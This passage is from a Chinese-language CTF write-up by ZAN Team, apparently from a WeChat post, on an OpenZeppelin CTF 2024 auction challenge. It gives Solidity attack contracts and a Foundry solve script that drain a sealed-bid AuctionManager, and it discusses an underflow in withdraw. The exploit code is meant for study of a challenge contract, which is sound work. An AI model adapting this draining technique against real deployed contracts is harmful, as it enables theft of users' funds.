bytes32 commit = keccak256(abi.encode(decrypted));
uint128 amountQuote = 10000 * 1e6;
quoteToken.approve(address(auctionManager), type(uint128).max);
auctionManager.addBid(1, amountQuote, commit, tmpPoint, encrypted, proofs);
return decrypted;
}
// cancel bid
function bidCancel() external {
auctionManager.bidCancel(1, 0);
}
}
contract Attack {
using FixedPointMathLib for uint128;
using SafeTransferLib for ERC20;
address public challengeAddr = xxx;
Challenge public challenge = Challenge(challengeAddr);
AuctionManager public auctionManager = challenge.auction();
ERC20 public baseToken = challenge.quoteToken();
ERC20 public quoteToken = challenge.quoteToken();
Bidder bidder;
constructor(Bidder _bidder) {
baseToken.approve(address(auctionManager), type(uint128).max);
bidder = _bidder;
}
// create an auction
function create() external {
bytes32[] memory leafsTmp = new bytes32[](2);
leafsTmp[0] = keccak256(abi.encodePacked(address(bidder)));
leafsTmp[1] = keccak256(abi.encodePacked(address(bidder)));
bytes32 merkle = keccak256(abi.encodePacked(address(bidder)));
Math.Point memory point = Math.publicKey(0xbabe);
AuctionManager.AuctionParameters memory auctionParams = AuctionManager.AuctionParameters({
tokenBase: address(baseToken),
tokenQuote: address(quoteToken),
resQuoteBase: 0,
totalBase: 10000 * 1e6,
minBid: 60 ether / type(uint128).max,
merkle: merkle,
publicKey: point
});
AuctionManager.Time memory time = AuctionManager.Time({
start: uint32(block.timestamp),
end: uint32(block.timestamp + 10),
startVesting: uint32(block.timestamp + 10),
endVesting: uint32(block.timestamp + 20),
cliff: 1e17
});
baseToken.approve(address(auctionManager), type(uint128).max);
auctionManager.create(auctionParams, time);
}
// finalize an auction
function show(bytes32 decrypted) external {
uint256[] memory indices = new uint256[](1);
indices[0] = 0;
uint128 amountBase = uint128(uint256(decrypted >> 128));
uint256 quotePerBase = amountBase.mulDivDown(type(uint128).max, amountBase);
uint128 quote = type(uint128).max;
uint128 base = type(uint128).max;
bytes memory data = abi.encode(indices, base, quote);
auctionManager.show(1, 0xbabe, data);
}
// cancel auction
function cancel() external {
auctionManager.auctionCancel(1);
}
}
解题脚本如下:
contract Solve is Script {
using FixedPointMathLib for uint128;
using SafeTransferLib for ERC20;
function run() public {
vm.startBroadcast();
address challengeAddr = xxx;
Challenge challenge = Challenge(challengeAddr);
AuctionManager auctionManager = challenge.auction();
ERC20 baseToken = challenge.quoteToken();
ERC20 quoteToken = challenge.quoteToken();
// 第一笔交易,拍卖者发起拍卖,竞拍者参与竞标
Bidder bidder = new Bidder();
Attack attack = new Attack(bidder);
quoteToken.transfer(address(attack), 10000 * 1e6);
quoteToken.transfer(address(bidder), 10000 * 1e6);
console.log("address(attack)", address(attack));
console.log("address(bidder)", address(bidder));
attack.create();
bytes32 decrypted = bidder.bid();
console.log("decrypted");
console.logBytes32(decrypted);
// 第二笔交易,给任意一个地址转账,推进时间戳,因为只有到了设定的拍卖结束的时间,才能finalize拍卖
baseToken.transfer(vm.addr(0xcaca), 1 ether);
// 第三笔交易,依次完成finalize拍卖、删除拍卖、删除竞标的操作
address attackAddr = xxx;
address bidderAddr = xxx;
bytes32 decrypted = 0x000000000000000000000002540be40000000000000000000000000000000000;
Attack(attackAddr).show(decrypted);
Attack(attackAddr).cancel();
Bidder(bidderAddr).bidCancel();
uint256 auctBalance = baseToken.balanceOf(address(auctionManager));
console.log("auctBalance", auctBalance);
vm.stopBroadcast();
}
}
在题目中我们发现,就算竞拍成功了,竞拍者也没法取回未使用的 quoteToken,因为在给竞拍者转剩余的 quoteToken 时,转的数量是 bid.amountQuote - quoteBought
,而 bid.amountQuote
在上一步被置为了 0,那这个地方除非 quoteBought
是 0,否则就溢出了,交易执行失败。而 quoteBought
通常来说不是 0。那么这个地方是出题者有意而为之,还是无心之失呢?
function withdraw(uint256 id, uint256 index) external checkState(States.Final, auctions[id]) {
Auction storage auction = auctions[id];
BidEncrypted storage bid = auction.bids[index];
if (msg.sender != bid.sender) revert();
uint128 amountBase = bid.baseAmountFilled;
if (0 == amountBase) revert();
uint128 baseAvailable = tokensAvailableForWithdrawal(id, amountBase);
baseAvailable = baseAvailable - bid.baseExtracted;
bid.baseExtracted += baseAvailable;
if (bid.amountQuote != 0) {
uint256 quoteBought = amountBase.mulDivDown(auction.data.quoteLowest, auction.data.baseLowest);
bid.amountQuote = 0;
ERC20(auction.parameters.tokenQuote).safeTransfer(msg.sender, bid.amountQuote - quoteBought);
}
ERC20(auction.parameters.tokenBase).safeTransfer(msg.sender, baseAvailable);
}
ZAN 是蚂蚁数科旗下新科技品牌。依托 AntChain Open Labs 的 TrustBase 开源开放技术体系,拥有 Web3 领域独特的优势和创新能力,为 Web3 社区提供可靠、高性价比的区块链应用开发技术产品和服务。
凭借 AntChain Open Labs 的技术支持,ZAN 为企业和开发者提供了全面的技术产品和服务,其中包括智能合约审计(ZAN Smart Contract Review)、身份验证eKYC(ZAN Identity)、交易风控技术(ZAN Know Your Transaction)以及节点服务(ZAN Node Service)等。
通过 ZAN 的一站式解决方案,用户可以享受到全方位的 Web3 技术支持。
ZAN Website:https://zan.top/home/partner/wxdyh
Discord Telegram
现在加入 ZAN 官方社区
一起深入探讨 Web3 前沿动态
原文始发于微信公众号(ZAN Team):OpenZeppelin CTF 2024 Writeup